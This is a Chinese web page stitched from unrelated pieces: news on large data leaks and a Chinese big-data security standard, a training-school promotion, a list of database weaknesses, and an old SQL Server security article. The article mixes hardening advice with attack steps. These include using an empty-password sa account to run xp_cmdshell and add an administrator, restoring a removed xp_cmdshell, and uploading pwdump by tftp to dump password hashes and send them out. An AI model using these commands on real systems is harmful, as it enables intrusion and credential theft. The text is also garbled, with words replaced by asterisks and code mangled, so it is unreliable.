员工监守自盗数亿条用户信息
今年初,公安部破获了一起特大窃取贩卖公民个人信息案。
被窃取的用户信息主要涉及交通、物流、医疗、社交和银行等领域数亿条,随后这些用户个人信息被通过各种方式在网络黑市进行贩卖。警方发现,幕后主要犯罪嫌疑人是发生信息泄漏的这家公司员工。
业内数据安全专家评价称,这起案件泄露数亿条公民个人信息,其中主要问题,就在于内部数据安全管理缺陷。
国外情况也不容乐观。2016年9月22日,全球互联网巨头雅虎证实,在2014年至少有5亿用户的账户信息被人窃取。窃取的内容涉及用户姓名、电子邮箱、电话号码、出生日期和部分登陆密码。
企业数据信息泄露后,很容易被不法分子用于网络黑灰产运作牟利,内中危害轻则窃财重则取命,去年8月,山东高考生徐玉玉被电信诈骗9900元学费致死案等数据安全事件,就可见一斑。
去年7月,微软Window10也因未遵守欧盟“安全港”法规,过度搜集用户数据而遭到法国数据保护监管机构CNIL的发函警告。
上海社会科学院互联网研究中心发布的《报告》指出,随着数据资源商业价值凸显,针对数据的攻击、窃取、滥用和劫持等活动持续泛滥,并呈现出产业化、高科技化和跨国化等特性,对国家和数据生态治理水平,以及组织的数据安全能力都提出了全新挑战。
当前,重要商业网站海量用户数据是企业核心资产,也是民间黑客甚至国家级攻击的重要对象,重点企业数据安全管理更是面临严峻压力。
企业、组织机构等如何提升自身数据安全能力?
企业机构亟待提升数据安全管理能力
“大数据安全威胁渗透在数据生产、流通和消费等大数据产业的各个环节,包括数据源、大数据加工平台和大数据分析服务等环节的各类主体都是威胁源。”上海社科院信息所主任惠志斌向记者分析称,大数据安全事件风险成因复杂交织,既有外部攻击,也有内部泄密,既有技术漏洞,也有管理缺陷,既有新技术新模式触发的新风险,也有传统安全问题的持续触发。
5月27日,中国互联网协会副秘书长石现升称,互联网日益成为经济社会运行基础,网络数据安全意识、能力和保护手段正面临新挑战。
今年6月1日即将施行的《网络安全法》针对企业机构泄露数据的相关问题,重点做了强调。法案要求各类组织应切实承担保障数据安全的责任,即保密性、完整性和可用性。另外需保障个人对其个人信息的安全可控。
石现升介绍,实际早在2015年国务院就发布过《促进大数据发展行动纲要》,就明确要“健全大数据安全保障体系”、“强化安全支撑,提升基础设施关键设备安全可靠水平”。
“目前,很多企业和机构还并不知道该如何提升自己的数据安全管理能力,也不知道依据什么标准作为衡量。”一位业内人士分析称,问题的症结在于国内数据安全管理尚处起步阶段,很多企业机构都没有设立数据安全评估体系,或者没有完整的评估参考标准。
“大数据安全能力成熟度模型”已提国标申请
数博会期间,记者从“大数据安全产业实践高峰论坛”上了解到,为解决此问题,全国信息安全标准化技术委员会等职能部门与数据安全领域的标准化专家学者和产业代表企业协同,着手制定一套用于组织机构数据安全能力的评估标准——《大数据安全能力成熟度模型》,该标准是基于阿里巴巴提出的数据安全成熟度模型(Data Security Maturity Model, DSMM)进行制订。
阿里巴巴集团安全部总监郑斌介绍DSMM。
作为此标准项目的牵头起草方,阿里巴巴集团安全部总监郑斌介绍说,该标准是阿里巴巴基于自身数据安全管理实践经验成果DSMM拟定初稿,旨在与同行业分享阿里经验,提升行业整体安全能力。
“互联网用户的信息安全从来都不是某一家公司企业的事。”郑斌称,《大数据安全能力成熟度模型》的制订还由中国电子技术标准化研究院、国家信息安全工程技术研究中心、中国信息安全测评中心、公安三所、清华大学和阿里云计算有限公司等业内权威数据安全机构、学术单位企业等共同合作提出意见。
无论如何,数据泄露总是破坏性的但更糟的是,要怎么向受影响的用户、投资人和证监会交代呢?一家公司上千万用户的个人数据,总不会自己长脚跑到黑市上躺着被卖吧?于是,在各种监管机构找上门来问一些很难堪的问题之前,北大青鸟http://www.kmbdqn.cn/带大家还是来看看这几个最常见的数据库安全漏洞吧。
数据库安全重要性上升只要存储了任何人士的任意个人数据,无论是用户还是公司员工,数据库安全都是重中之重。
然而,随着黑市对数据需求的上升,成功数据泄露利润的上涨,数据库安全解决方案也就变得比以往更为重要了。
尤其是考虑到2016年堪称创纪录的数据泄露年的情况下。
身份盗窃资源中心的数据显示,美国2016年的数据泄露事件比上一年增长了40%,高达1,093起。
商业领域是重灾区,紧随其后的是医疗保健行业。
政府和教育机构也是常见目标。
常见数据库漏洞1.部署问题这就是数据库安全版的博尔特一蹬出起跑器就被鞋带绊倒。
数据库经过广泛测试以确保能胜任应该做的所有工作,但有几家公司肯花时间保证数据库不干点儿什么不应该干的事儿呢?解决办法:这个问题的解决办法十分明显:部署前做更多的测试,找出可被攻击者利用的非预期 *** 作。
2.离线服务器数据泄露公司数据库可能会托管在不接入互联网的服务器上,但这并不意味着对基于互联网的威胁完全免疫。
无论有没有互联网连接,数据库都有可供黑客切入的网络接口。
解决办法:首先,将数据库服务器当成联网服务器一样看待,做好相应的安全防护。
其次,用SSL或TSL加密通信平台加密其上数据。
3.错误配置的数据库有太多太多的数据库都是被老旧未补的漏洞或默认账户配置参数出卖的。
个中原因可能是管理员手头工作太多忙不过来,或者因为业务关键系统实在承受不住停机检查数据库的损失。
无论原因为何,结果就是这么令人唏嘘。
解决办法:在整个公司中树立起数据库安全是首要任务的氛围,让数据库管理员有底气去花时间恰当配置和修复数据库。
4.SQL注入SQL注入不仅仅是最常见的数据库漏洞,还是开放网页应用安全计划(OWASP)应用安全威胁列表上的头号威胁。
该漏洞可使攻击者将SQL查询注入到数据库中,达成读取敏感数据、修改数据、执行管理 *** 作乃至向 *** 作系统发出指令等目的。
解决办法:开发过程中,对输入变量进行SQL注入测试。
开发完成后,用防火墙保护好面向Web的数据库。
从codered到nimda等 一大堆蠕虫把原来需要人工利用的漏洞都变成了程序自动利用了 大家还想去手工 *** 作这些IIS漏洞么?让我们调整重心 去看看服务器常用的数据库吧
一般网站都是基于数据库的 特别是ASP PHP JSP这样的用数据库来动态显示的网站 很多网站可能多注意的是 *** 作系统的漏洞 但是对数据库和这些脚本的安全总是忽略 也没有太多注意
从最比较普遍的脚本问题开始 这些都是老话题了 大家可以参考Hectic写的《关于数据库的简单入侵和无赖破坏 以天融信做例子》 该文章对从SQL脚本问题说得非常详细 对于脚本安全的解决 也可以通过过滤来实现 可以参考我以前写的 对于ASP来说 可以使用下面这个过滤函数:
Function Filter_SQL(strData) Dim strFilter Dim blnFlag Dim i strFilter= // @ _ exec declare 需要过滤的字符 可以自己添加 是分隔符
blnFlag=Flase 过滤标志 如果产生过滤 那么就是真 Dim arrayFilter arrayFilter=Split(strFilter ) For i= To UBound(arrayFilter) If Instr(strData arrayFilter(i))>Then blnFlag=True Exit For End If Next If blnFlag Then Response Redirect wrong asp 当发现有过滤 *** 作时 导向一个预定页面 反正正常访问用不到的连接请求 总不是好事情 Else Filter_SQL=strData End If End Function 对于MS SQL Server数据库来说 安全问题不仅仅局限在脚本上了 天杀的微软的系统性很强 整个基于WINDOWS系统的应用都有很强的关联性 对SQL Server来说 基本可以把数据库管理和系统管理等同起来了 SQL Server默认的管理员帐号sa的密码是空的 这给多数NT服务器产生一个安全漏洞 小榕的SQLRCMD 就能够利用获得的数据库管理员帐号执行系统命令
在SQL Server中有很多系统存储过程 有些是数据库内部使用的 还有一些就是通过执行存储过程来调用系统命令
系统存储过程:xp_cmdshell 就是以 *** 作系统命令行解释器的方式执行给定的命令字符串 它就具体语法是:xp_cmdshell
{ mand_string } [ no_output]
xp_cmdshell在默认情况下 只有 sysadmin 的成员才能执行 但是 sysadmin也可以授予其他用户这个执行权限 在早期版本中 获得 xp_cmdshell 执行权限的用户在 SQL Server 服务的用户帐户中运行命令 可以通过配置选项配置 SQL Server 以便对 SQL Server 无 sa 访问权限的用户能够在SQLExecutiveCmdExec Windows NT 帐户中运行 xp_cmdshell 在 SQL Server 中 该帐户称为 SQLAgentCmdExec 现在对于SQL Server 只要有一个能执行该存储过程的帐号就可以直接运行命令了
对于 NT 和 WIN 当用户不是 sysadmin 组的成员时 xp_cmdshell 将模拟使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帐户 如果代理帐户不能用 则 xp_cmdshell 将失败 所以即使有一个帐户是master数据库的db_owner 也不能执行这个存储过程
如果我们有一个能执行xp_cmdshell的数据库帐号 比如是空口令的sa帐号 那么我们可以执行这样的命令:
exec xp_cmdshell net user refdom /add
exec xp_cmdshell net localgroup administrators refdom /add
上面两次调用就在系统的管理员组中添加了一个用户:refdom
当我们获得数据库的sa管理员帐号后 就应该可以完全控制这个机器了 可见数据库安全的重要性
下面这些存储过程都是对Public可以执行的:
xp_fileexist 用来确定一个文件是否存在
xp_getfiledetails 可以获得文件详细资料
xp_dirtree 可以展开你需要了解的目录 获得所有目录深度
Xp_getnetname 可以获得服务器名称
还有可以 *** 作注册表的存储过程 这些不是对Public可以执行的 需要系统管理员或者授权执行:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread (对Public可以执行)
Xp_regremovemultistring
Xp_regwrite
SQL Server的安全配置
除跟着微软打满所有补丁外 还需要加强数据库的安全
首先 你需要加强象sa这样的帐号的密码 跟系统帐号的使用配置相似 一般 *** 作数据库不要使用象sa这样的最高权限的帐号 而使用能满足你的要求的一般帐号
接着对扩展存储过程开始大屠杀 首先就是xp_cmdshell 还有就是上面那些一大堆存储过程 都drop吧 一般也用不着
执行:
use master
sp_dropextendedproc xp_cmdshell
去掉guest帐号 阻止非授权用户访问 去掉不必要的网络协议
加强对数据库登陆的日志记录 最好记录所有登陆事件 可以用下面的简单DOS命令来查看日志:
findstr /C: 登录 d:\Microsoft SQL Server\MSSQL\LOG\* *
用管理员帐号定期检查所有帐号 是否密码为空或者过于简单 比如下面的语句:
Use master
Select name Password from syslogins where password is null
用下面语句对所有帐号 检查对存储过程和扩展存储过程的执行权 提防不必要的执行权限扩散:
Use master
Select sysobjects name From sysobjects sysprotects Where
sysprotects uid = AND xtype IN ( X P ) AND sysobjects id =
sysprotects id
加强数据库的安全是非常重要的 有的数据库服务器是和WEB服务器隔离开的 这就同MAIL服务器一样 数据库的日志可能就基本很少去查看 这将会成为管理员的一个疏忽点 类似DNS MAIL等等 数据库服务器往往成为各种入侵的跳板
下面是一些关于数据库的问答和技巧:
获得SA权限后 却不能执行xp_cmdshell存储过程怎么办?
答:可能是已经把xp_cmdshell等扩展存储过程删除了 可以用这个存储过程把xp_cmdshell恢复
sp_addextendedproc xp_cmdshell xpsql dll
通过数据库用pwdump获得系统管理员密码
先上传一个pwdump
tftp i GET pwdump exe pwdump exe
tftp i GET lsaext dll lsaext dll
tftp i GET pwservice exe pwservice exe
pwdump outfile txt
tftp PUT outfile txt outfile txt
然后再用解密工具l pht等等破解这些密码
从数据库读取系统管理员密码
能读出加密的密码是NT的 administrator 帐号也不能做的 SQL Server能读出来是使用的LocalSystem帐号 这个帐号比administrator更高一级 可以使用下面这个存储过程 不过读出来的密码是经过加密后的 然后再解密吧
xp_regread
lishixinzhi/Article/program/SQLServer/201311/22471
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)